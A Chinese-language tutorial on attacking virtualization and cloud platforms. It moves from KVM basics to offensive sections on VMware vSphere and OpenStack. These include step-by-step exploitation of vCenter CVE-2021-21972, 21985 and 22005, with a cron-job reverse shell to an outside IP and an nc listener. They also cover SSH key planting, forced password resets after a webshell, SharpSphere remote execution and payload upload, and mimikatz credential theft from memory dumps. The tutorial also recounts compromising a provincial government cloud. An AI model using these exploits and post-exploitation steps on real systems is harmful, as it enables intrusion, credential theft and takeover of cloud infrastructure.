云上攻防:二、虚拟化攻防
1. 概念
1.1 私有云和虚拟化的区别
私有云和虚拟化是两个相关但不同的概念,但它们有密切的关系,因为私有云是建立在虚拟化技术的基础上的。
虚拟化是指将一台物理机分割成多个虚拟机,每个虚拟机有自己独立的操作系统、配置等,彼此之间互不影响。
私有云是指某一公司在内部构建的云环境,仅限于该公司内部使用,不向外公开。 私有云可以使用虚拟化技术来实现,但它也可以通过其他方式实现,例如容器技术等。
1.2 云计算管理平台
云计算管理平台有以下这些:
- Amazon Web Services (AWS)
- Microsoft Azure
- Google Cloud Platform (GCP)
- Alibaba Cloud
- IBM Cloud
- Oracle Cloud
- OpenStack
- VMware vCloud
- Red Hat OpenShift
- Huawei Cloud
2. 虚拟化介绍
2.1 虚拟化
虚拟化是一种资源管理技术,将计算机各个实体资源(CPU、内存、磁盘空间),抽象、转换后呈现出来并可供分割、组合为一个或多个计算机配置环境,以达到最大化合理利用物理资源的目的。
虚拟化可提高IT敏捷性、灵活性、扩展性。
2.2 虚拟机
虚拟计算机称为,“虚拟机”,它是一种隔离且内含操作系统和应用的软件容器。可在一台物理机上运行多个操作系统,每个虚拟机都是完全独立的。可将虚拟机的完整状态保存到文件中,移动和复制虚拟机就像移动和复制文件一样简单。
2.3 虚拟化类型
- 服务器虚拟化
支持将多个操作系统作为高效的虚拟机在单个物理服务器上运行。 - 网络虚拟化
通过软件定义网络,不再依赖于物理网卡设备。在K8s、Openstack都会使用到网络虚拟化; - 桌面虚拟化
其将所有桌面PC所需的操作系统软件、应用程序软件、用户数据全部存放到后台服务器中,通过专门的管理系统赋予给特定用户,用户通过专用的网络传输协议连接到后端服务器分配的桌面资源,连接后,用户可在连接本地终端上直接使用后台运行的桌面系统,使用体验基本与物理PC一致。 - 应用虚拟化
office 365 - 存储虚拟化
NAS - 库虚拟化
在linux上运行Windows程序wine - 容器虚拟化
Docker
2.4 Hypervisor简介
Hypervisor称为虚拟机监控器VMM(Virtual machin monitor),用于创建和运行虚拟机的进程,它是一种中间软件层,运行在基础物理服务器和操作系统之间,允许多个操作系统共享低层的内存、CPU等硬件
Hypervisor是所有虚拟化技术的核心,非中断地支持多工作负载迁移的能力是其基本功能,当启动时会给每一台虚拟机分配适量的内存、CPU并加载虚拟机的客户操作系统
Hypervisor分类
- 裸金属型
直接运行到物理机的Hypervisor上,称为裸机虚拟化环境(Bare-Metal Hardware)
例如:KVM、XEN、Vmware Esxi、Rhev Hypervisor、Hyper-v Server - 宿主型
需要运行在具有虚拟化功能的操作系统上的Hypervisor- Vmware Workstation
- Microsoft Hyper-V
- VirtualBox
- Paralles Desktop #Mac虚拟机技术
3. 虚拟化技术分类
3.1 模拟器/软件仿真
在一个主机上通过虚拟化模拟器软件,模拟出一个三件或多个硬件环境,每个环境都是独立的虚拟机,CPI、IO内存等都是模拟出来的,可以在宿主机模拟出不同当前物理机CPU指令集的虚拟机,比如可以在Windows上模拟出MAC、Linux等。主要是指通过软件模拟完整的硬件环境。常见的模拟器有QEMU、Bochs、PearPC
3.2 全虚拟化/准地虚拟化
VM(虚拟机) 里的OS 称为 GuestOS,物理机 里的OS 称为 HostOS。
在全虚拟化的虚拟平台中,GuestOS并不知道自己是一台虚拟机,它认为自己就是物理机,全虚拟化的GuestOS具有完全的物理机特性,VMM会将一个所能够操作的CPU、内存逻辑抽象成虚拟CPU、虚拟内存,再交由GuestOS来操作使用。
准地虚拟化不做CPU和内存模拟,只对CPU和内存做相应的分配等操作
全虚拟化又分为:
- 软件辅助的全虚拟化
- 硬件辅助的全虚拟化
3.3 软件辅助的全虚拟化
GuestOS作为一个运行在CPU用户态中的应用程序,不能直接操作硬件设备,所以VMM(Virtual Machine Monitor)引用了两种机制–特权解除、陷入模拟
- 特权解除 :
VMM、GuestOS、GuestApplicationsf都是运行在Ring 1-3用户态中,当运行核心态指令时,VMM会动态的将核心态指令捕获并调用若干运行在非核心态的指令来模拟出期望得到的效果给GuestOS,从而将核心态的特权解除。 - 陷入模拟:
无论是HostOS或GuestOS,都会存在敏感指令(reboot、shutdown等),例如只想GuestOS重启结果把HostOS重启了,VMM的陷入模拟就是为了解决这种问题发生。
在执行敏感指令时,VMM会将敏感指令捕获进行检测并判定其为敏感指令,此时VMM就会陷入模拟,将reboot模拟成一个只针对GuestOS进行操作,并且运行在非核心态上reboot指令,最后CPU执行虚拟机重启操作。在2015年Intel提出CPU支持虚拟化技术解决了以上问题。
3.4 硬件辅助的全虚拟化
硬件辅助的全虚拟化主要使用了支持虚拟化功能的CPU支撑,分辨出GuestOS敏感指令,而不会影响到HostOS。
KVM主要负责CPU和内存虚拟化,QEMU负责I/O虚拟化。
3.5 半虚拟化
半虚拟化需要修改内核源码,修改客户操作系统代码,将一些敏感指令和核心指令修改成可以和VMM直接交互的方式,实现操作系统的定制化。
KVM运行Windows时需要安装半虚拟化驱动Tools,否则无法工作
3.6 常见的虚拟化厂商
-
3.6.1 软件厂商:
- Vmware
- Workstation
- vCenter
- Microsoft
- Hyper-V
- Citrix
- XenServer
- Oracle
- Redhat
-
硬件厂商:
- Intel VT-x。Intel从2015年开始支持CPU中加入硬件虚拟化的支持,intel virtualazation tochnology简称intel VT
- AMD-v
4. KVM学习
KVM 是Linux下的虚拟化经常用到的技术,在攻防中碰到的Linux平台的全虚拟化技术几乎都是基于KVM技术,主要与QEMU联合使用。
KVM 是 Kernel-based Virtual Machine 的简称,KVM 要求 CPU 支持硬件虚拟化技术(例如Intel VT或AMD-V),是Linux下全虚拟化解决方案,KVM 由处于内核态的 KVM 模块kvm.ko和用户态的 QEMU 两部分构成。
内核模块kvm.ko实现了 CPU 和内存虚拟化等决定关键性能和核心安全的功能,并向用户空间提供了使用这些功能的接口,QEMU 利用 KVM 模块提供的接口来实现设备模拟、I/O 虚拟化和网络虚拟化等。
其中,主要模块的作用如下:
- KVM:负责CPU、内存等,由kvm_xxx.ko实现,工作于hypervisor,在用户空间通过ioctl()系统调用来完成KVM创建、启动等工作。
- QEMU:负责模拟IO设备、网卡、硬盘等,qemu-kvm进程工作于用户空间,用于实现一个虚拟机实例
- Libvirt:提供统一API,守护进程libvirtd和相关工具,如:virsh、virt-manager;
4.1 创建Linux虚拟机
#验证开启虚拟化
grep -Em 1 "vmx|svm" /proc/cpuinfo
#安装
yum -y install qemu-kvm libvirt virt-manager virt-install virt-viewer
systemctl start --now libvirtd
#安装虚拟机Web管理方式
yum -y install cockpit
systemctl enable --now cockpit
#创建虚拟磁盘
qemu-img create -f qcow2 /var/lib/libvirt/images/centos7.qcow2 20G
#创建虚拟机
virt-install --virt-type kvm --name centos7 --ram 1024 --vcpus 1
--cdrom=/data/iso/CentOS-7-x86_64-DVD-2009.iso --disk
path=/var/lib/libvirt/images/centos7.qcow2 --network network=default --graphics
vnc,listen=0.0.0.0 --noautoconsole --os-variant=centos7.0
#需要在图形化界面打开init 5
export DISPLAY=10.0.0.1:0.0
virt-manager
#查看宿主机进程
ps aux|grep qemu-kvm
注意:
- 需要安装web界面的话,需要执行
yum -y install cockpit
- Centos7没有虚拟化管理功能,只支持Centos8
4.2 KVM管理工具
- libvirt
虚拟化管理工具和应用程序接口,通过libvirt调用KVM创建虚拟机,libvirt是kvm能用的访问API,不但能管理KVM还能管理Vmware、Xen、VirtualBox等虚拟化方案。
libvirt是一个C语言库,但也被其他语言的应用程序所应用,libvirt被封装为libvirtmod类或包。libvirtmod的实现与其C/C++语言的相应实现在语法和功能方面紧密相关。 - virsh
管理KVM虚拟化的命令行工具,Virsh是一个使用C语言编写调用Libvirt API的虚拟化管理命令行工具。 - Virt-manager
virt-manager是一个虚拟化图形软件,底层也是调用libvirt API来完成对虚拟机的操作。
virsh 常用命令:
#查看虚拟机
virsh list --all
#启动虚拟机
virsh start centos7
#关机
virsh shutdown centos7
#查看虚拟机vnc端口号
virsh vncdisplay domain
利用模板创建新的虚拟机
#复制镜像
cp centos7.qcow2 centos7-1.qcow2
#导入重命名
virt-install --virt-type kvm --name centos7-1 --ram 1024 --vcpus 1 --disk
bus=virtio,path=/var/lib/libvirt/images/centos7-1.qcow2 --network
network=default,model=virtio --graphics vnc,listen=0.0.0.0 --noautoconsole
--os-variant=centos7.0 --autostart --boot hd
4.3 管理虚拟机
4.3.1 半虚拟化驱动VirtIO
virtIO 是半虚拟化的解决方案,是半虚拟化 Hypervisor 的一组通用 I/O 设备的抽象。提供了一套上层应用与各 Hypervisor 虚拟化设备(KVM、Xen、VMware 等)之间的通信框架和编程接口,客户机需要知道自己运行在虚拟化环境中,进而根据 VirtIO 标准和 Hypervisor 协作,从而提高 I/O 性能。Windows虚拟机需要单独安装驱动,Linux自带virtio驱动。
4.3.2 创建Windows虚拟机
创建包含VirtIO的Windows虚拟机流程如下:
#创建虚拟磁盘
qemu-img create -f qcow2 /var/lib/libvirt/images/Windows2008.qcow2 60G
#下载virtio驱动,否则无法识别硬盘。
https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/archive-virtio/virtio-win-0.1.126-2/
#创建windows虚拟加并加载virtio驱动
virt-install --virt-type kvm --name Win_2008 --memory 1024 --vcpus=1
--os-variant=win2k8r2 --cdrom=/data/iso/cn_windows_server_2008_r2.iso --disk
path=/var/lib/libvirt/images/Windows2008.qcow2,format=qcow2,bus=virtio --disk
path=/data/iso/virtio-win-0.1.126_amd64.vfd,device=floppy --network
bridge=virbr0,model=virtio --graphics vnc,listen=0.0.0.0 --noautoconsole --autostart
安装时选择高级,找到这2个驱动就能识别出硬盘,安装其它Windows都是相同方法
4.3.3 安装 PCI内存管理驱动
通常情况下,可能还需要安装PCI内存管理驱动。PCI 内存管理驱动是操作系统的一部分,通常由操作系统提供。在 Windows 操作系统中,PCI 内存管理驱动通常由系统提供,而在 Linux 操作系统中,用户可以根据需要安装和配置自己的 PCI 内存管理驱动。
下载镜像地址:
https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/archive-virtio/virtio-win-0.1.126-2/virtio-win-0.1.126.iso
具体使用方法与上文中加载VirtIO驱动方法一致。
找到对应驱动即可。
4.3.4 QEMU guest agent
这个库主要实现是Host使用libivrt向VM发送命令。
#Linux安装QEMU guest agent
yum -y install qemu-guest-agent
#Windows加载virtio驱动光盘里
#列出所有虚拟机
virsh list --all
#启动虚拟机
virsh start centos8 或者写编号
#强制关机
virsh destroy 1
virsh shutdown --mode=agent #关闭操作系统
virsh snapshot-create -quiesce #创建快照
virsh domtime #获得虚拟机上的时间
virsh domifaddr --source agent #查询虚拟机的IP
virsh set-user-password --user administrator --password=123456 --domain 8
#设置虚拟机用户的密码
每个虚拟机配置文件存放于:/etc/libvirt/qemu
4.3.5 离线工具
不启动虚拟机直接访问磁盘,能够实现以下功能:
- 观看下载虚拟磁盘中的文件
- 编辑或上传文件到虚拟机磁盘
具体流程代码如下:
#查看虚拟机磁盘文件
virsh domblklist centos7
#只读方式打开虚拟磁盘
guestfish --ro -a /var/lib/libvirt/images/centos7.qcow2
><fs> run #扫描
><fs> list-filesystems #列出文件系统
><fs> mount /dev/centos/root / #挂载目录
><fs> cat /etc/shadow
#实现自动探查后自动挂载
guestfish --ro -a /var/lib/libvirt/images/centos7.qcow2 -i
5 Vmvare vSphere攻防
5.1 安装介绍
vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。vSphere有两个核心组件:
- ESXi。用于创建并运行虚拟机和虚拟设备的虚拟化平台
- vCenter。用于管理网络中连接的多个主机,并将主机资源池化。
两个软件都可以从官网下,但是太麻烦:
#下载站
http://vmv.re/gets
vmvre
#国内下载
http://42.81.162.1:443/s/Awsw
vCenter Server Appliance(VCSA),用于安装在Linux,Vmware Integrated Management(VIM),用于安装在Windows。
5.2 攻击漏洞利用
5.2.1 ESXI的配置
密码策略
大小写字母、数字和特殊字符,密码长度大于7小于40
password requisite /lib/security/$ISA/pam_passwdqc.so retry=3
min=disabled,disabled,disabled,7,7
默认情况下,10次尝试,锁定15分钟后自动解锁。
默认情况下,ESXi Shell 和 SSH 服务不会运行,只有 root 用户才能登录到直接控制台用户界面
ESXi默认访问不了SSH
管理 --> 服务 --> SSH服务开启
在连接ESXi中,可以看到这台是否已经连接了vCenter
相关命令:
esxcfg-vmknic -l #查看宿主机IP地址
vim-cmd vmsvc/getallvms #列出所有虚拟机
esxcli network firewall get #防火墙状态
esxcli network firewall ruleset list #列出规则信息
esxcli network firewall set --enabled #启用、禁用
5.2.2 重置密码
场景:拿到WebShell之后,想要登录vCenter,而且密码解不出来,可以强制重置密码。
#Linux 强制重置SSO administrator密码
/usr/lib/vmware-vmdir/bin/vdcadmintool
#Windows 强制重置密码
C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe
5.2.3 使用HTTPS PUT SSH密钥
默认情况下,ESXiShell 和 SSH 服务不会启动,只有 root 用户才能登录到直接控制台用户界面,开启SSH后只允许密钥访问,使用 HTTPS PUT 上传 SSH 密钥。
密钥类型位置:
root 用户的授权密钥文件
https://hostname_or_IP_address/host/ssh_root_authorized_keys
您必须对主机具有完全管理员特权才可上载此文件。
DSA 密钥 https://hostname_or_IP_address/host/ssh_host_dsa_key
DSA 公用密钥 https://hostname_or_IP_address/host/ssh_host_dsa_key_pub
RSA 密钥 https://hostname_or_IP_address/host/ssh_host_rsa_key
RSA 公用密钥 https://hostname_or_IP_address/host/ssh_host_rsa_key_pub
esxi 401 认证,是服务器密码,不是前台密码。
https://192.168.238.137/host/
#生成密钥
ssh-keygen -t rsa -P "" -f ~/.ssh/id_rsa
PUT /host/ssh_root_authorized_keys HTTP/1.1
Host: 192.168.238.138
Authorization: Basic cm9vdDoxMjNxd2UhQCMuLi4=
Content-Length: 407
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZ4gGhuM9GFeh7Kivi0BmxjLy4Brq9V3AEzPlXoXnHWumFC/FJWmZrHVGgDzBL26o/qsPyHnMffJve6egqyaV05+ULiPOzpjoLmG3+7uhhEKfY7KZ/uDMkmeufhvwTBfIIndARqzuAbsx6ekJb794fBhpOG7hPNcziqs5jRRQf9lLUQgltBfReFf6Tj9j2Ff471HlGaVdwKyGp4T3oKpH4K7kgdarMoh1KT2bC9ijHD1TpdQLfNjKJ+uXccaWWG7eEQCYmwQtbL80PVVTq5HTkZaqw+BhSRF8ur0NWX9WC3G4r4vYEc46meh1pwowHn69ZWRuvql1I4IfjytL4totH root@localhost.localdomain
5.2.4 公开漏洞利用
查看Vcenter版本信息:/sdk/vimServiceVersions.xml
-
CVE-2021-21972
影响范围- VMware vCenter Server 7.0系列 < 7.0.U1c
- VMware vCenter Server 6.7系列 < 6.7.U3l
- VMware vCenter Server 6.5系列 < 6.5 U3n
- VMware ESXi 7.0系列 < ESXi70U1c-17325551
- VMware ESXi 6.7系列 < ESXi670-202102401-SG
- VMware ESXi 6.5系列 < ESXi650-202102101-SG
Windowst利用
Windows vCenter程序路径: ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport #构造tar包 https://github.com/ptoomey3/evilarc/blob/master/evilarc.py python evilarc.py -d 2 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl.tar winshe.jsp
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1 Host: 192.168.238.132 Cookie: VSPHERE-USERNAME=Administrator%40VSPHERE.LOCAL; VSPHERE-CLIENT-SESSION-INDEX=_f97bb91caea8a2af952cd91ec5d47eb8; VSPHERE-UI-JSESSIONID=0C5DAAED678BDADE5DE0A9599359A141; VSPHERE-UI-XSRF-TOKEN=059001d4-15b3-4ab5-b83f-604c37fb2471; style=light Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1YoXljo9 Content-Length: 10389 ------WebKitFormBoundary1YoXljo9 Content-Disposition: form-data; name="uploadFile"; filename="winexpl.tar" Paste from file winexpl.tar ------WebKitFormBoundary1YoXljo9--
Linux利用
【如果不成功,尝试本地创建vsphere-ui之后再生成密钥】 python evilarc.py -d 2 -p 'home/vsphere-ui/.ssh' -o unix -f unixshe.tar authorized_keys ssh vsphere-ui@Your IP #需要重启 /usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/ Linux Shell的路径:https://photom-matchine/ui/resources/winshe.jsp 如果不行使用(脚本有问题,要重新写): https://github.com/NS-Sp4ce/CVE-2021-21972/blob/7048b1d0a71a862284c2d54f78aba913ccef5776/CVE-2021-21972.py https://0x20h.com/p/7cb6
-
CVE-2021-21985
- vCenter Server 6.5
- vCenter Server 6.7
- vCenter Server 7.0
- Cloud Foundation (vCenter Server) 3.x
- Cloud Foundation (vCenter Server) 4.x
该漏洞只存在于Linux平台:
java -jar JNDIInjection-Bypass.jar 1099 192.168.238.1 8841 nc -lvp 8841 python3 CVE-2021-21985_exp.py https://192.168.238.149 rmi://192.168.238.146:1099/Exploit https://github.com/r0ckysec/CVE-2021-21985
-
CVE-2021-22005
影响版本:
7.0,6.7,6.5,4.x,3.xhttps://github.com/r0ckysec/CVE-2021-22005(EXP) POST /analytics/telemetry/ph/api/hyper/send?_c=e&_i=/ce21 HTTP/1.1 Host: 192.168.23.119 Content-Length: 60 {"aaa":"bbb"}
POST /analytics/telemetry/ph/api/hyper/send?_c=e&_i=/../../../../../../../../../../../../etc/cron.d/cs21 HTTP/1.1 Host: 192.168.23.119 Content-Length: 60 */1 * * * * root bash -i >& /dev/tcp/192.168.23.77/8091 0>&1
vCenter < 6.0 S2-045
#老版本Struts S2-045
https://vmware/statsreport/vmHome.do
5.2.5 后渗透利用
以下一切操作的前提都需要权限
拿到密码后可利用:
- 读取虚拟机的配置
- 查看虚拟机文件
- 删除虚拟机文件
- 向虚拟机上传文件
- 从虚拟机下载文件
- 在虚拟机中执行命令
在旧的REST API(低于vSphere7.0U2)不支持以下操作:
- 查看虚拟机文件
- 删除虚拟机文件
- 向虚拟机上传文件
- 从虚拟机下载文件
- 在虚拟机中执行命令
5.2.5.1 SharpSphere
#无法编译时:
工具 --> NuGet包管理器 --> 程序包源 --> 加更新源:https://api.nuget.org/v3/index.json
#获取信息
SharpSphere.exe list --url https://192.168.238.138/sdk/ --username root --password 123qwe!@#
[x] Disabling SSL checks in case vCenter is using untrusted/self-signed certificates
[x] Creating vSphere API interface
[x] Connected to VMware ESXi 6.7.0 build-15160138
[x] Authenticating with provided username and password
[x] Successfully authenticated
Name: Centos7 | Power: poweredOn | OS: CentOS 7 (64-bit) | Tools: guestToolsUnmanaged | IP: 192.168.238.139
#Execute
.\SharpSphere.exe execute --url https://192.168.238.138/sdk --username root --password 123qwe!@# --ip 192.168.238.141 --guestusername administrator --guestpassword 123qwe!@# --command whoami --output
#Upload FIle
.\SharpSphere.exe upload --url https://192.168.238.138/sdk --username root --password 123qwe!@# --ip 192.168.238.141 --guestusername administrator --guestpassword 123qwe!@# --source D:\calc.exe --destination C:\Users\Public\payload.exe
#DOwnload FIle
Z:\>SharpSphere.exe download --url https://URL/sdk --username
administrator@vsphere.local --password <PASSWORD> --ip <IP> --guestusername James --guestpassword <PASSWORD> --source C:\Users\Public\payload.exe --destination Z:\result.exe
5.2.5.2 Dump内存获取密码
#Dump,目前ESXi有问题,无法下载文件,但在vCenter可以成功
.\SharpSphere.exe dump --url https://192.168.238.138/sdk/ --username root --password
123qwe!@# --targetvm "Win2008" --destination "C:\Users\Public\" --snapshot
#下载快照后缀为vmsn、vmem
.\vmss2core-sb-8456865.exe -W .\Win2008-Snapshot5.vmsn .\Win2008-Snapshot5.vmem
#Microsoft Windows 8/8.1, Windows Server 2012, Windows Server 2016 or Windows
Server 2019 run this command:
vmss2core.exe -W8 virtual_machine_name.vmsn virtual_machine_name.vmem
#使用Windbg PreView加载内存
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/windbg-install-preview
#内部加载mimilib
kd> .load C:\Users\A\Desktop\vmnx\mimikatz_trunk\x64\mimilib.dll
#查看lsass进程
kd> !process 0 0 lsass.exe
切换到该进程中
kd> .process /r /p fffffa80028f2400
#抓取内存密码
kd> !mimikatz
6. OpenStack攻防
什么是Openstack
OpenStack是一个开源的云计算管理平台项目,是属于基础设施即服务(IaaS),是一个云操作系统。包含有多个组件,分别是:
- Nova(控制 )提供计算资源,虚拟机、容器等;
- Glance(镜像 )
- Swift(对象存储 )
- Cinder(块存储 )
- Neutron(网络 )
- Heat(编排服务 )
- Ceilometer(计量服务,监控,计费 )
- Keystone(身份管理 )API客户端身份验证,多租户授权
- Horizon。提供Web界面
6.1 组件介绍
6.1.2 Keystone
keystone是OpenStack组件之一,identity service认证服务;
- 一次建立;
(1) User向Keystone发送用户密码身份信息,Keystone验证成功后向User配发Token; - 三次请求,三次确认;
(1) User向Nova发出带有Token的实例创建请求,Nova收到请求后向Keystone验证有效性;
(2) Token被证实有效后,Nova向Glance服务发送镜像传输请求,Glance再次向Keystone验证Token有效性;
(3) Token被证实有效后,Glance向Nova提供镜像目录查询和传递服务,Nova获取镜像后继续向Neutron请求创建网络服务,Neutron再向Keystone验证有效性;
(4) Token被证实有效后,Neutron允许Nova使用网络服务; - 一个最终结果;
(1) Nova启动虚拟机成功,向用户返回创建实例成功的通知;
6.1.2 Nova
主要功能是负责管理实例虚拟机的生命周期、网络管理、存储卷管理;
对外提供服务接口为REST API,内部组件模块之间的通信基于RPC消息传递机制;
工作原理:
- User获取认证后向Nova服务中的Nova-api发送一个请求,用于创建虚拟机实例;
- Nova-API接收到请求后进行身份验证,然后将创建虚拟机实例的消息存到队列中(Queue);
- Nova-scheduler从消息队列中(Queue)接收到消息开始调度,从多个计算节点选取最优节点,将创建虚拟机实例消息存放到队列中;
- Nova-compute获取到信息后,在自身节点上执行创建虚拟机实例操作;
- 创建虚拟机同时,计算节点通过消息队列向Nova-Conductor发送查询数据库的信息的消息,Conductor收到信息生会去访问数据库并给出回应消息;
Nova-API
接收并响应最终用户的计算API调用请求,通常将请求转发给Nova其它组件进行自带;
Nova-API-Metadata
用于接收来自实例的元数据请求;
Nova-Compute
通过Hypervisor API创建和终止实例的工作进程;
默认情况使用KVM虚拟化引擎;
主要功能就是接收来自消息队列的请求,然后执行对应的系统命令;
Nova-Scheduler
负责从队列中获取虚拟机实例请求;
Nova-Conductor
主要为了使Nova-Compute服务与数据库之间进行交互;
Nova-placement-api
追踪每个提供者的库存和使用情况,比如计算节点的资源,存储池使用情况以及IP分配情况;
Nova-Cert
是服务器守候进程,主要为基于X509认证的Nova Cert提供服务;
Nova-NoVNCproxy
虚拟机控制台服务,提供用于通过VNC连接访问正在运行实例的代理;
QUEUE
6.1.3 Glance
Glance主要负责镜像的注册和查询传递服务,这些镜像可以是用户自己制作上传的镜像,也可以是当前实例的快照,这两种类型的镜像都可以快速用于实例部署;
工作原理:
- glance-api接收到对应服务请求,对该服务进行响应;
- glance-api服务将会对请求进行判断,与metadata相关操作就会把任务交给glance-registry进行处理,对应数据库操作如与image自身相关操作,将交给store backend进行处理;
主要组件:
glance-api
作用就是接收请求,但自身不处理请求,对外提供REST API响应image查询、获取和存储的调用;
使用ps -ef | grep glance-api,查看进程信息;
glance-registry
主要负责处理和存取image和metadata;
使用ps -e | grep glance-registry,查看进程信息;
Dadatabase
主要用于保存images的metadata信息;
Store backend
实际用于存储,glance自身并不存储image,而是将image放在backend中;
配置文件:/etc/glance/glanc e-api.conf
6.1.4 Neutron
主要提供云计算环境下的网络服务;
Neutron具体作用是允许用户创建和管理网络对象,例如:网络、子网、端口;
涵盖了二层交换、三层路由、负载、防火墙等;
工作原理:
- 当要创建一个虚拟网络时,server收到创建的请求,通过消息队列通知对应的插件;
- OVS插件收到消息后,将需要创建网络信息,名称,ID等,保存到数据库中并通过消息队列通知运行在各个节点上的agent;
- agent,收到消息后会在节点上创建对应设备、例如vlan设备;
neutron-server
运行于控制节点,提供相应的API;
neutron plugin
core plugins,提供二层虚拟网络支持、网络、子网、端口等;
service plugins,提供路由器、防火墙、安全组等;
neutron agent
负责接收消息并且执行任务的模块;
neutron provide
主要提供虚拟机或物理网络设备;
queue
各个模块之间相互通信
neutron database
存储网络信息数据库;
6.2 安装Openstack
手动部署较为麻烦,中途各种报错,排错等部署了一天
手动部署openstrack需要的组件:
· Mysql
· Mongodb
· RabbitMQ
· keystone
· HTTP
· glance
· nova
· neutron
· horizon
OpenStack为入门者和开发者推出了一个OpenStack开发环境:devstack。通过devstack,你可以在一个主机节点上部署一个“五脏俱全”的OpenStack Cloud。
国内网络环境问题,导致安装难度加大
本次使用vultr + Ubuntu 20
sudo apt update
sudo apt -y upgrade
sudo apt -y dist-upgrade
sudo apt install git -y
#创建并切换到 stack 用户
sudo useradd -s /bin/bash -d /opt/stack -m stack
#sudo 不需要密码
echo "stack ALL=(ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/stack
sudo su - stack
#下载和配置 devstack
cd /opt/stack/
git clone https://git.openstack.org/openstack-dev/devstack
cd devstack
cat > local.conf <<EOF
[[local|localrc]]
# Password for KeyStone, Database, RabbitMQ and Service
ADMIN_PASSWORD=onegiao
DATABASE_PASSWORD=$ADMIN_PASSWORD
RABBIT_PASSWORD=$ADMIN_PASSWORD
SERVICE_PASSWORD=$ADMIN_PASSWORD
# Host IP - get your Server/VM IP address from ip addr command
# 修改成你的机器的 IP
HOST_IP=192.168.10.100
FORCE=yes
EOF
#安装
./stack.sh
#关闭防火墙
sudo ufw disable
6.3 渗透场景
这里有两种场景:
- 获取到OpenStack控制台权限;
- OpenStack下的虚拟主机权限;
6.4 控制台权限场景
关于第一种场景能做的事情很多,
- 对当前主机信息收集例如:
- 计划任务
- 历史命令
- 环境变量等
- 相关openstack配置文件进行收集
- 数据库配置文件
- 节点信息
某政务云案例:
搜索引擎 —> 某省政务外网 —> 政务云平台,3A认证,基于Openstack二次开发,存在Shiro反序列化漏洞 —> 获取openstack云平台系统root权限 —> 网卡信息可跨(172,10,192)网段 —> 通过翻取系统任务计划,发现运维脚本,脚本中存储了云平台节点所有帐号密码(获取294云节点服务器权限)—> 再通过翻取系统配置文件,登录云平台数据库,获取云平台所有帐号密码(获取519个SSO帐号密码)—> 可控制某省政务云单位500+ —> 通过翻取系统文件获得Zabbix Server监控系统(9个)—> 控制openstack云平台,可控制1400+云主机权限,影响整个省政务单位,完全控制某政务云。
关注配置文件信息:
# 认证配置文件
/etc/keystone/keystone.conf
/etc/glance/glance-api.conf
/etc/nova/nova.conf
/etc/neutron/neutron.conf
/etc/cinder/cinder.conf
/etc/openstack-dashboard/local_settings
云平台仪表盘登录帐号密码通常情况下是放在/root/目录下,名为keystonerc_admin开头等,没有特定文件,包含一些.sh脚本中也有可能存在云平台的登录帐号密码;
export OS_USERNAME=admin
export OS_PASSWORD=ADMIN_PASS
export OS_PROJECT_NAME=admin
export OS_USER_DOMAIN_NAME=Default
export OS_PROJECT_DOMAIN_NAME=Default
export OS_AUTH_URL=http://controller:5000/v3
export OS_IDENTITY_API_VERSION=3
常用命令
#当前用户
keystone user-list
openstack user list
#查看区域
keystone domain list
#创建具有管理权限的tenant,称为admin
keystone tenant-create --name=admin
#创建一个用户并设置密码
keystone user-create --name=admin --pass="openstack"
#创建角色
keystone role-create --name=admin
#分配角色给admin用户
keystone user-role-add --user admin --role admin --tenant admin
#keystone命令行客户端
export OS_TENANT_NAME=admin
export OS_USERNAME=admin
export OS_PASSWORD= openstack
export OS_AUTH_URL=http://127.0.0.1:35357/v2/
#查看节点
nova host-list
#查看计算节点
nova hypervisor-list
#计算节点上有哪些虚拟机
nova hypervisor-servers compute1
#查看虚拟机列表
nova list
#查看虚拟机控制台VNC地址
openstack server list
openstack console url show 名称
#列出实例类型
nova flavor-list
#列出所有镜像
nova image-list
# 验证网络
openstack network agent list
#查看网桥
brctl show
#免密登录
ssh-keygen -q -N ""
openstack keypair create --public-key ~/.ssh/id_rsa.pub mykey
openstack keypair list
#查看安全组
openstack security list
openstack security group list
#允许ping
openstack security group rule create --proto icmp default
#允许SSH
openstack security group rule create --proto tcp --dst-port 22 default
#查看虚拟机控制台VNC地址
openstack server list
openstack console url show 名称
#查看所有的虚机/某个租户虚机
nova list --all-tenants
nova list --tenant csq
6.4.1 下载快照
在无法进入系统的情况下,通过获取快照进行到系统获取数据;
创建快照后,通过配置文件查看快照存放位置:/etc/glance/glance-api.conf
对照ID下载镜像:
然后下载镜像进入到虚拟机获取相关数据。
openstack image save --file snapshot.raw 83361890-50ef-418a-80bc-f845f259b7dc
6.4.2 加密方式
一般情况下查询keystone数据库中的user表就可以了,但openstrack默认安装情况下分了两个表;
user存储用户名称及信息; password存储密码;
加密信息:
$2b$04$vj..DUniPbrtomnCskoI2.u0eFADB5T2hKZ8Uck4YTZ2D60ouFw2C
$为分割符,无意义;
2b是bcrypt加密版本号;
04是cost的值;
后一段是salt值;
最后才是密码的密文
找到用户密码但是不可解,密码复杂度太高;
强密码,hashcat基本无解。
hashcat -a 0 -m 3200 "\$2a\$10\$ghNfizR9Q0MqdXSRIDzKK.3CSvmn.Ik97i1DXB4Ba72qNlWZCpAkq" passwd.txt
使用penglab项目,https://github.com/mxrch/penglab
6.4.3 重置租户密码
当无法解密但又需要登录到某个租户的时候
查看用户列表:
keystone user-list
如果没有keystone 就用openstack user list
修改密码:
keystone user-password-update --pass 123qweasd 955fc29e47a74bfcbeb91718ad7caf40
如果不存在,则:
openstack user set --password 123qweasdzxc demo
具体看目标系统,有些则是在租户上可直接重置虚拟机密码,有些则无这个功能。
6.5 虚拟主机权限场景
能做什么? 怎么去找控制端?
一般政务云租户管理端都会对外开放,所以从正面也是最为直接的方式。
在内网中端口查找关于用keystone 5000端口或者其它组件相应的端口查找管理网段。
一般情况是虚拟主机是无法到达管理网段,已做逻辑隔离。
管理网络,openstack管理网
内部网络,内部数据库、nova、之间的通讯
